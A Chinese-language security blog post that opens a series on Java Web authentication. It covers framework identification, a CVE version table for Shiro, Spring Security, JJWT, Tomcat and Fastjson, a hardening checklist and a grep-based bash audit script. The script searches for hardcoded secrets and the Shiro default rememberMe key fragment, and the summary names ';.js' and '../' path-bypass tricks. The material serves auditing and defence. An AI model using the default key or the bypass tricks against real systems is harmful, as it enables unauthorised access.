<p>认证（你是谁）和授权（你能做什么）是 Web 应用安全的基石。Java 生态拥有成熟的框架体系，但配置不当反而会成为灾难的源头。</p>

<p>本文是系列文章的总览篇，提供框架识别、版本速查、加固清单和审计脚本，各主题深入剖析见后续文章。</p>

<hr />

<h2 id="系列文章导航">系列文章导航</h2>

<table>
  <thead>
    <tr>
      <th style="text-align: center">#</th>
      <th>文章</th>
      <th>内容</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">1</td>
      <td><strong>本文 — 安全概览</strong></td>
      <td>框架识别、CVE 版本速查、加固检查清单、审计脚本</td>
    </tr>
    <tr>
      <td style="text-align: center">2</td>
      <td><a href="/2026/05/08/spring-security-security-practice/">Spring Security 安全配置与防护实践</a></td>
      <td><code class="language-plaintext highlighter-rouge">web.ignoring()</code> 陷阱、方法级鉴权、Actuator 安全、OAuth2</td>
    </tr>
    <tr>
      <td style="text-align: center">3</td>
      <td><a href="/2026/05/08/apache-shiro-security-practice/">Apache Shiro 安全配置与防护实践</a></td>
      <td>rememberMe RCE、路径绕过系列、Spring Boot 集成</td>
    </tr>
    <tr>
      <td style="text-align: center">4</td>
      <td><a href="/2026/05/08/jwt-security-practice/">JWT 认证安全实践与常见漏洞</a></td>
      <td>算法混淆、签名验证、JWE 加密、Token 轮换</td>
    </tr>
    <tr>
      <td style="text-align: center">5</td>
      <td><a href="/2026/05/08/java-web-auth-bypass/">Java Web 鉴权绕过模式深度剖析</a></td>
      <td><code class="language-plaintext highlighter-rouge">getRequestURI()</code> 绕过、<code class="language-plaintext highlighter-rouge">preHandle</code> 缺陷、WAF 对抗</td>
    </tr>
    <tr>
      <td style="text-align: center">6</td>
      <td><a href="/2026/05/08/java-session-redis-auth/">Java Web 会话管理与 Redis 认证实践</a></td>
      <td>Session 校验模式、Redis 限流、分布式会话、WebSocket</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="一认证框架识别">一、认证框架识别</h2>

<p>在审计或加固 Java Web 应用时，首先需要确定使用了哪个安全框架：</p>

<table>
  <thead>
    <tr>
      <th>框架</th>
      <th>识别特征</th>
      <th>配置文件</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Spring Security</strong></td>
      <td><code class="language-plaintext highlighter-rouge">@EnableWebSecurity</code>、<code class="language-plaintext highlighter-rouge">SecurityFilterChain</code>、<code class="language-plaintext highlighter-rouge">@PreAuthorize</code></td>
      <td><code class="language-plaintext highlighter-rouge">SecurityConfig.java</code></td>
    </tr>
    <tr>
      <td><strong>Apache Shiro</strong></td>
      <td><code class="language-plaintext highlighter-rouge">shiro.ini</code>、<code class="language-plaintext highlighter-rouge">@RequiresAuthentication</code>、<code class="language-plaintext highlighter-rouge">SecurityUtils</code></td>
      <td><code class="language-plaintext highlighter-rouge">shiro.ini</code>、<code class="language-plaintext highlighter-rouge">spring-shiro.xml</code></td>
    </tr>
    <tr>
      <td><strong>JWT 独立实现</strong></td>
      <td><code class="language-plaintext highlighter-rouge">io.jsonwebtoken</code>、<code class="language-plaintext highlighter-rouge">Jwts.parser()</code>、<code class="language-plaintext highlighter-rouge">Bearer Token</code></td>
      <td><code class="language-plaintext highlighter-rouge">application.yml</code></td>
    </tr>
    <tr>
      <td><strong>自定义 Filter</strong></td>
      <td><code class="language-plaintext highlighter-rouge">implements Filter</code>、<code class="language-plaintext highlighter-rouge">doFilter()</code></td>
      <td><code class="language-plaintext highlighter-rouge">web.xml</code> 或 <code class="language-plaintext highlighter-rouge">@WebFilter</code></td>
    </tr>
    <tr>
      <td><strong>自定义 Interceptor</strong></td>
      <td><code class="language-plaintext highlighter-rouge">implements HandlerInterceptor</code>、<code class="language-plaintext highlighter-rouge">preHandle()</code></td>
      <td><code class="language-plaintext highlighter-rouge">WebMvcConfigurer</code></td>
    </tr>
  </tbody>
</table>

<h3 id="11-框架选型指南">1.1 框架选型指南</h3>

<table>
  <thead>
    <tr>
      <th>场景</th>
      <th>推荐框架</th>
      <th>原因</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>企业级 Web 应用</td>
      <td>Spring Security</td>
      <td>生态成熟，与 Spring Boot 无缝集成</td>
    </tr>
    <tr>
      <td>轻量级/非 Spring 项目</td>
      <td>Apache Shiro</td>
      <td>配置简单，无 Spring 依赖</td>
    </tr>
    <tr>
      <td>RESTful API</td>
      <td>JWT + Spring Security</td>
      <td>无状态，适合分布式和移动端</td>
    </tr>
    <tr>
      <td>遗留系统（Servlet 2.x）</td>
      <td>自定义 Filter</td>
      <td>不引入额外依赖</td>
    </tr>
    <tr>
      <td>微服务网关层</td>
      <td>OAuth2 + Spring Security</td>
      <td>统一认证，Token 中继</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p><strong>审计优先级的经验法则</strong>：自定义 Filter/Interceptor 实现的认证系统出问题的概率最高，因为缺少框架的成熟保护机制。</p>
</blockquote>

<hr />

<h2 id="二高危组件版本速查">二、高危组件版本速查</h2>

<p>版本是安全审计的第一关。以下组件版本存在已知漏洞，必须升级：</p>

<table>
  <thead>
    <tr>
      <th>组件</th>
      <th>漏洞版本</th>
      <th>关键 CVE</th>
      <th>CVSS</th>
      <th>风险</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Shiro</strong></td>
      <td>&lt; 1.2.5</td>
      <td>CVE-2016-4437</td>
      <td>9.8</td>
      <td>rememberMe RCE</td>
    </tr>
    <tr>
      <td><strong>Shiro</strong></td>
      <td>1.2.5 ~ 1.4.1</td>
      <td>SHIRO-721</td>
      <td>9.8</td>
      <td>Padding Oracle RCE</td>
    </tr>
    <tr>
      <td><strong>Shiro</strong></td>
      <td>&lt; 1.11.0</td>
      <td>CVE-2023-22602</td>
      <td>7.5</td>
      <td>路径绕过</td>
    </tr>
    <tr>
      <td><strong>Spring Security</strong></td>
      <td>&lt; 5.7.12</td>
      <td>CVE-2024-22257</td>
      <td>8.2</td>
      <td>授权绕过</td>
    </tr>
    <tr>
      <td><strong>Spring Security</strong></td>
      <td>6.4.0 ~ 6.4.3</td>
      <td>CVE-2025-22223</td>
      <td>7.5</td>
      <td>@PreAuthorize 绕过</td>
    </tr>
    <tr>
      <td><strong>Spring Security</strong></td>
      <td>&lt; 6.3.8 / 6.4.4</td>
      <td>CVE-2025-22228</td>
      <td>7.5</td>
      <td>BCrypt 认证绕过</td>
    </tr>
    <tr>
      <td><strong>Spring Security</strong></td>
      <td>&lt; 6.3.8 / 6.4.4</td>
      <td>CVE-2025-22235</td>
      <td>7.3</td>
      <td>Actuator 绕过</td>
    </tr>
    <tr>
      <td><strong>Spring Security 7</strong></td>
      <td>&lt; 7.0.5</td>
      <td>CVE-2026-22753</td>
      <td>7.5</td>
      <td>访问控制绕过</td>
    </tr>
    <tr>
      <td><strong>JJWT</strong></td>
      <td>&lt; 0.12.6</td>
      <td>CVE-2024-31033</td>
      <td>5.3</td>
      <td>密钥弱化</td>
    </tr>
    <tr>
      <td><strong>Tomcat</strong></td>
      <td>&lt; 9.0.90</td>
      <td>CVE-2025-24813</td>
      <td>9.8</td>
      <td>路径等价 RCE</td>
    </tr>
    <tr>
      <td><strong>Fastjson</strong></td>
      <td>&lt; 1.2.83</td>
      <td>CVE-2022-25845</td>
      <td>8.1</td>
      <td>反序列化 RCE</td>
    </tr>
  </tbody>
</table>

<p><strong>检测命令</strong>：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 查找依赖版本</span>
<span class="nb">grep</span> <span class="nt">-A1</span> <span class="s2">"shiro"</span> pom.xml | <span class="nb">grep </span>version
<span class="nb">grep</span> <span class="nt">-A1</span> <span class="s2">"spring-security"</span> pom.xml | <span class="nb">grep </span>version
<span class="nb">grep</span> <span class="nt">-A1</span> <span class="s2">"jjwt"</span> pom.xml | <span class="nb">grep </span>version
<span class="nb">grep</span> <span class="nt">-A1</span> <span class="s2">"fastjson"</span> pom.xml | <span class="nb">grep </span>version

<span class="c"># 扫描 JAR 文件</span>
find <span class="nb">.</span> <span class="nt">-name</span> <span class="s2">"shiro-core-*.jar"</span> <span class="nt">-o</span> <span class="nt">-name</span> <span class="s2">"spring-security-core-*.jar"</span>
find <span class="nb">.</span> <span class="nt">-name</span> <span class="s2">"fastjson-*.jar"</span> <span class="nt">-o</span> <span class="nt">-name</span> <span class="s2">"jjwt-*.jar"</span>
</code></pre></div></div>

<h3 id="21-漏洞优先级判断">2.1 漏洞优先级判断</h3>

<p>代码审计中发现组件版本不安全的判断逻辑：</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>发现低版本组件
    │
    ├── CVSS ≥ 9.0 且可远程利用 → 立即报告，P0
    │   例：Shiro 1.2.4 (CVE-2016-4437, 9.8)
    │
    ├── CVSS ≥ 7.0 且需特定配置 → 确认配置条件后报告，P1
    │   例：Spring Security BCrypt (CVE-2025-22228, 7.5)
    │
    └── CVSS &lt; 7.0 或仅本地利用 → 记录但不阻塞上线，P2
        例：JJWT 密钥弱化 (CVE-2024-31033, 5.3)
</code></pre></div></div>

<hr />

<h2 id="三安全加固检查清单">三、安全加固检查清单</h2>

<table>
  <thead>
    <tr>
      <th>检查项</th>
      <th style="text-align: center">风险</th>
      <th>操作</th>
      <th style="text-align: center">详见</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">web.ignoring()</code> 使用</td>
      <td style="text-align: center">🔴</td>
      <td>替换为 <code class="language-plaintext highlighter-rouge">permitAll()</code></td>
      <td style="text-align: center">[Spring Security篇]</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">@EnableMethodSecurity</code></td>
      <td style="text-align: center">🔴</td>
      <td>SS 6.x 需 <code class="language-plaintext highlighter-rouge">@EnableMethodSecurity</code>；SS 5.x 需 <code class="language-plaintext highlighter-rouge">@EnableGlobalMethodSecurity(prePostEnabled=true)</code></td>
      <td style="text-align: center">[Spring Security篇]</td>
    </tr>
    <tr>
      <td>rememberMe 密钥</td>
      <td style="text-align: center">🔴</td>
      <td>确认非硬编码，使用强随机密钥</td>
      <td style="text-align: center">[Shiro篇]</td>
    </tr>
    <tr>
      <td>Shiro 版本</td>
      <td style="text-align: center">🔴</td>
      <td>≥ 1.13.0 或 2.0.0+</td>
      <td style="text-align: center">[Shiro篇]</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">jwsAlgorithm</code> 白名单</td>
      <td style="text-align: center">🔴</td>
      <td>只接受单一算法（RS256/ES256）</td>
      <td style="text-align: center">[JWT篇]</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">parseClaimsJws</code> vs <code class="language-plaintext highlighter-rouge">parseClaimsJwt</code></td>
      <td style="text-align: center">🔴</td>
      <td>确保始终使用带签名的版本</td>
      <td style="text-align: center">[JWT篇]</td>
    </tr>
    <tr>
      <td>BCrypt 版本</td>
      <td style="text-align: center">🟡</td>
      <td>spring-security-crypto ≥ 6.3.8</td>
      <td style="text-align: center">[Spring Security篇]</td>
    </tr>
    <tr>
      <td>Actuator 暴露</td>
      <td style="text-align: center">🟡</td>
      <td>独立端口 + 认证 + 最小暴露</td>
      <td style="text-align: center">[Spring Security篇]</td>
    </tr>
    <tr>
      <td>Session Fixation</td>
      <td style="text-align: center">🟡</td>
      <td><code class="language-plaintext highlighter-rouge">migrateSession()</code> 或 <code class="language-plaintext highlighter-rouge">newSession()</code></td>
      <td style="text-align: center">[会话管理篇]</td>
    </tr>
    <tr>
      <td>Cookie Secure/HttpOnly</td>
      <td style="text-align: center">🟡</td>
      <td>确认已设置</td>
      <td style="text-align: center">[会话管理篇]</td>
    </tr>
    <tr>
      <td>CORS 白名单</td>
      <td style="text-align: center">🟡</td>
      <td>不出现 <code class="language-plaintext highlighter-rouge">*</code> + <code class="language-plaintext highlighter-rouge">allowCredentials=true</code></td>
      <td style="text-align: center">[Spring Security篇]</td>
    </tr>
    <tr>
      <td>密码最小长度限制</td>
      <td style="text-align: center">🟡</td>
      <td>限制 ≤ 72 字符（BCrypt 限制）</td>
      <td style="text-align: center">[Spring Security篇]</td>
    </tr>
    <tr>
      <td>Token 过期时间</td>
      <td style="text-align: center">🟡</td>
      <td>Access Token ≤ 15 分钟</td>
      <td style="text-align: center">[JWT篇]</td>
    </tr>
    <tr>
      <td>路径匹配</td>
      <td style="text-align: center">🟡</td>
      <td>使用 <code class="language-plaintext highlighter-rouge">getServletPath()</code> 而非 <code class="language-plaintext highlighter-rouge">getRequestURI()</code></td>
      <td style="text-align: center">[绕过模式篇]</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">preHandle</code> 授权检查</td>
      <td style="text-align: center">🟡</td>
      <td>不能只认证不授权就 <code class="language-plaintext highlighter-rouge">return true</code></td>
      <td style="text-align: center">[绕过模式篇]</td>
    </tr>
    <tr>
      <td>HTTPS 强制</td>
      <td style="text-align: center">🟡</td>
      <td><code class="language-plaintext highlighter-rouge">requiresSecure()</code></td>
      <td style="text-align: center">[Spring Security篇]</td>
    </tr>
    <tr>
      <td>Redis 认证密码</td>
      <td style="text-align: center">🟡</td>
      <td>生产环境必须设置</td>
      <td style="text-align: center">[会话管理篇]</td>
    </tr>
    <tr>
      <td>安全响应头</td>
      <td style="text-align: center">🟢</td>
      <td>CSP、XSS-Protection、X-Frame-Options</td>
      <td style="text-align: center">[Spring Security篇]</td>
    </tr>
    <tr>
      <td>错误信息</td>
      <td style="text-align: center">🟢</td>
      <td>不向前端暴露框架/版本信息</td>
      <td style="text-align: center">全部</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="四快速审计脚本">四、快速审计脚本</h2>

<p>将此脚本放入项目根目录执行，可快速发现高危配置：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="c"># Java Web 认证授权快速审计脚本</span>
<span class="c"># 用法：bash audit.sh /path/to/project</span>

<span class="nv">TARGET_DIR</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">1</span><span class="k">:-</span><span class="p">.</span><span class="k">}</span><span class="s2">"</span>

<span class="nb">echo</span> <span class="s2">"╔══════════════════════════════════╗"</span>
<span class="nb">echo</span> <span class="s2">"║  Java Web 认证授权审计            ║"</span>
<span class="nb">echo</span> <span class="s2">"╚══════════════════════════════════╝"</span>
<span class="nb">echo</span> <span class="s2">"目标: </span><span class="nv">$TARGET_DIR</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="s2">""</span>

<span class="c"># ========== 1. 依赖版本检查 ==========</span>
<span class="nb">echo</span> <span class="s2">"┌── 依赖版本检查 ──────────────────┐"</span>

<span class="nb">echo</span> <span class="s2">"[*] Shiro 版本："</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"shiro"</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span>/pom.xml 2&gt;/dev/null | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s2">"version|&lt;shiro"</span> <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"  未检测到 Shiro 依赖"</span>
fgrep <span class="nt">-r</span> <span class="s2">"shiro-core-"</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.jar"</span> 2&gt;/dev/null | <span class="nb">head</span> <span class="nt">-5</span>

<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] Spring Security 版本："</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"spring-security"</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span>/pom.xml 2&gt;/dev/null | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s2">"version|&lt;spring-security"</span> <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"  未检测到 Spring Security 依赖"</span>

<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] JWT 库版本："</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"jjwt</span><span class="se">\|</span><span class="s2">io.jsonwebtoken"</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span>/pom.xml 2&gt;/dev/null | <span class="nb">grep </span>version <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"  未检测到 JWT 依赖"</span>

<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] Fastjson 版本（高危组件）："</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"fastjson"</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span>/pom.xml 2&gt;/dev/null | <span class="nb">grep </span>version <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"  未检测到 Fastjson 依赖"</span>

<span class="c"># ========== 2. 高危配置模式 ==========</span>
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"┌── 高危配置模式 ──────────────────┐"</span>

<span class="nb">echo</span> <span class="s2">"[*] web.ignoring() 使用（路径完全移除安全）："</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"web</span><span class="se">\.</span><span class="s2">ignoring()</span><span class="se">\|</span><span class="s2">WebSecurityCustomizer"</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.java"</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"  未发现"</span>

<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] rememberMe 硬编码密钥（CVE-2016-4437）："</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"DEFAULT_CIPHER_KEY</span><span class="se">\|</span><span class="s2">kPH</span><span class="se">\+</span><span class="s2">bIxk"</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.java"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.ini"</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"  未发现硬编码密钥"</span>

<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] parseClaimsJwt（无签名验证）："</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"parseClaimsJwt"</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.java"</span> 2&gt;/dev/null <span class="o">&amp;&amp;</span> <span class="nb">echo</span> <span class="s2">"  ⚠️  警告：parseClaimsJwt 不验证签名，请改用 parseClaimsJws"</span> <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"  未发现"</span>

<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] @EnableMethodSecurity / @EnableGlobalMethodSecurity 缺失检查："</span>
<span class="c"># 有 @EnableWebSecurity 但没有启用方法安全注解的配置类</span>
<span class="nb">grep</span> <span class="nt">-rl</span> <span class="s2">"@EnableWebSecurity"</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.java"</span> 2&gt;/dev/null | <span class="k">while </span><span class="nb">read </span>f<span class="p">;</span> <span class="k">do
    </span><span class="nb">grep</span> <span class="nt">-q</span> <span class="s2">"@EnableMethodSecurity</span><span class="se">\|</span><span class="s2">@EnableGlobalMethodSecurity"</span> <span class="s2">"</span><span class="nv">$f</span><span class="s2">"</span> <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"  ⚠️  文件 </span><span class="nv">$f</span><span class="s2"> 有 @EnableWebSecurity 但缺少 @EnableMethodSecurity / @EnableGlobalMethodSecurity"</span>
<span class="k">done

</span><span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] preHandle 只认证不授权（return true 无角色检查）："</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"preHandle"</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.java"</span> <span class="nt">-A5</span> 2&gt;/dev/null | <span class="nb">grep</span> <span class="s2">"return true"</span> | <span class="nb">head</span> <span class="nt">-10</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"getRequestURI.*endsWith</span><span class="se">\|</span><span class="s2">getRequestURI.*contains</span><span class="se">\|</span><span class="s2">getRequestURI.*startsWith"</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.java"</span> 2&gt;/dev/null <span class="o">&amp;&amp;</span> <span class="nb">echo</span> <span class="s2">"  ⚠️  警告：getRequestURI() + 后缀匹配可被分号绕过"</span> <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"  未发现"</span>

<span class="c"># ========== 3. 密钥与凭证泄露 ==========</span>
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"┌── 密钥与凭证泄露 ────────────────┐"</span>

<span class="nb">echo</span> <span class="s2">"[*] 代码中的密钥硬编码："</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"secretKey</span><span class="se">\|</span><span class="s2">privateKey</span><span class="se">\|</span><span class="s2">SECRET</span><span class="se">\|</span><span class="s2">password</span><span class="se">\s</span><span class="s2">*="</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.java"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.properties"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.yml"</span> 2&gt;/dev/null | <span class="nb">grep</span> <span class="nt">-v</span> <span class="s2">"test</span><span class="se">\|</span><span class="s2">mock</span><span class="se">\|</span><span class="s2">example</span><span class="se">\|</span><span class="s2">#</span><span class="se">\|</span><span class="s2">//"</span> | <span class="nb">head</span> <span class="nt">-5</span>

<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] Redis 密码配置："</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"redis.*password</span><span class="se">\|</span><span class="s2">spring.redis.password"</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.properties"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.yml"</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"  未配置 Redis 密码（仅本地开发可接受）"</span>

<span class="c"># ========== 4. JWT 配置检查 ==========</span>
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"┌── JWT 配置检查 ─────────────────┐"</span>

<span class="nb">echo</span> <span class="s2">"[*] JWT 算法白名单："</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"jwsAlgorithms</span><span class="se">\|</span><span class="s2">JWSAlgorithm</span><span class="se">\|</span><span class="s2">SignatureAlgorithm"</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.java"</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"  未发现算法配置"</span>

<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"[*] JWT 过期时间配置："</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"setExpiration</span><span class="se">\|</span><span class="s2">expiration.*time</span><span class="se">\|</span><span class="s2">jwt.*expir"</span> <span class="s2">"</span><span class="nv">$TARGET_DIR</span><span class="s2">"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.java"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.properties"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.yml"</span> 2&gt;/dev/null | <span class="nb">head</span> <span class="nt">-5</span>

<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"╔══════════════════════════════════╗"</span>
<span class="nb">echo</span> <span class="s2">"║  审计完成                         ║"</span>
<span class="nb">echo</span> <span class="s2">"╚══════════════════════════════════╝"</span>
<span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"详细分析请参考系列文章："</span>
<span class="nb">echo</span> <span class="s2">"  Spring Security → Spring Security 安全配置篇"</span>
<span class="nb">echo</span> <span class="s2">"  Shiro         → Apache Shiro 安全配置篇"</span>
<span class="nb">echo</span> <span class="s2">"  JWT           → JWT 认证安全实践篇"</span>
<span class="nb">echo</span> <span class="s2">"  preHandle Bypass → 鉴权绕过模式篇"</span>
</code></pre></div></div>

<hr />

<h2 id="五总结">五、总结</h2>

<p>Java Web 认证授权的安全问题主要集中在三个层面：</p>

<p><strong>1. 框架误配置（占比最高）</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">web.ignoring()</code> 完全移除安全机制 vs <code class="language-plaintext highlighter-rouge">permitAll()</code> 仅跳过认证</li>
  <li><code class="language-plaintext highlighter-rouge">@EnableMethodSecurity</code> 忘记启用导致注解静默失效</li>
  <li>过滤器链顺序错误导致精细规则被宽泛规则覆盖</li>
</ul>

<p><strong>2. 组件漏洞（影响最大）</strong></p>
<ul>
  <li>Shiro rememberMe 硬编码密钥 (CVE-2016-4437) — CVSS 9.8，一击必杀</li>
  <li>Shiro 路径绕过系列 — 从 1.2.x 到 1.11.0，持续数年</li>
  <li>Spring Security BCrypt 截断、参数化类型注解丢失等</li>
</ul>

<p><strong>3. 业务逻辑缺陷（最难发现）</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">preHandle</code> 只认证不授权：登录即 <code class="language-plaintext highlighter-rouge">return true</code>，无角色/权限校验</li>
  <li><code class="language-plaintext highlighter-rouge">getRequestURI()</code> + 后缀匹配白名单：<code class="language-plaintext highlighter-rouge">;.js</code> / <code class="language-plaintext highlighter-rouge">../</code> 轻松绕过</li>
  <li>URI 解析差异导致鉴权绕过（<code class="language-plaintext highlighter-rouge">getRequestURI()</code> vs <code class="language-plaintext highlighter-rouge">getServletPath()</code>）</li>
  <li>JWT 算法混淆、签名验证缺失</li>
  <li>水平/垂直越权（IDOR）</li>
</ul>

<p><strong>防御原则</strong>：</p>

<ul>
  <li><strong>纵深防御</strong>：不依赖单层保护，Filter → Interceptor → AOP 层层把关</li>
  <li><strong>认证+授权必须同时存在</strong>：<code class="language-plaintext highlighter-rouge">preHandle</code> 不能只检查登录状态就 <code class="language-plaintext highlighter-rouge">return true</code></li>
  <li><strong>最小权限</strong>：每个接口只授予完成功能所需的最小权限</li>
  <li><strong>持续更新</strong>：框架和依赖保持最新，关注安全公告</li>
  <li><strong>审计驱动</strong>：使用本文提供的脚本定期扫描危险模式</li>
  <li><strong>安全默认</strong>：Cookie 必须 Secure + HttpOnly + SameSite，Token 必须短过期 + 签名验证</li>
</ul>

<p><strong>没有银弹，只有持续的关注和不断的加固。</strong></p>

<hr />

<h2 id="参考资源">参考资源</h2>

<ul>
  <li><a href="https://docs.spring.io/spring-security/reference/">Spring Security 官方文档</a></li>
  <li><a href="https://shiro.apache.org/security-reports.html">Apache Shiro 安全公告</a></li>
  <li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html">OWASP Authentication Cheat Sheet</a></li>
  <li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html">OWASP Authorization Cheat Sheet</a></li>
  <li><a href="https://datatracker.ietf.org/doc/html/rfc8725">JWT Security Best Practices (RFC 8725)</a></li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4437">CVE-2016-4437 Shiro rememberMe 反序列化</a></li>
  <li><a href="https://spring.io/security">Spring Security CVE 公告</a></li>
  <li><a href="https://github.com/jwtk/jjwt">JJWT GitHub</a></li>
</ul>

<hr />

<p><strong>免责声明</strong>：本文仅供安全研究和学习交流使用，请勿用于非法用途。对他人系统进行未授权的渗透测试属于违法行为。</p>]]></content><author><name>江流</name></author><category term="Java安全" /><category term="Web安全" /><category term="Spring Security" /><category term="Apache Shiro" /><category term="JWT" /><category term="认证授权" /><category term="代码审计" /><category term="安全清单" /><summary type="html"><![CDATA[Java Web 认证授权安全概览 认证（你是谁）和授权（你能做什么）是 Web 应用安全的基石。Java 生态拥有成熟的框架体系，但配置不当反而会成为灾难的源头。 本文是系列文章的总览篇，提供框架识别、版本速查、加固清单和审计脚本，各主题深入剖析见后续文章。 系列文章导航 # 文章 内容 1 本文 — 安全概览 框架识别、CVE 版本速查、加固检查清单、审计脚本 2 Spring Security 安全配置与防护实践 web.ignoring() 陷阱、方法级鉴权、Actuator 安全、OAuth2 3 Apache Shiro 安全配置与防护实践 rememberMe RCE、路径绕过系列、Spring Boot 集成 4 JWT 认证安全实践与常见漏洞 算法混淆、签名验证、JWE 加密、Token 轮换 5 Java Web 鉴权绕过模式深度剖析 getRequestURI() 绕过、preHandle 缺陷、WAF 对抗 6 Java Web 会话管理与 Redis 认证实践 Session 校验模式、Redis 限流、分布式会话、WebSocket 一、认证框架识别 在审计或加固 Java Web 应用时，首先需要确定使用了哪个安全框架： 框架 识别特征 配置文件 Spring Security @EnableWebSecurity、SecurityFilterChain、@PreAuthorize SecurityConfig.java Apache Shiro shiro.ini、@RequiresAuthentication、SecurityUtils shiro.ini、spring-shiro.xml JWT 独立实现 io.jsonwebtoken、Jwts.parser()、Bearer Token application.yml 自定义 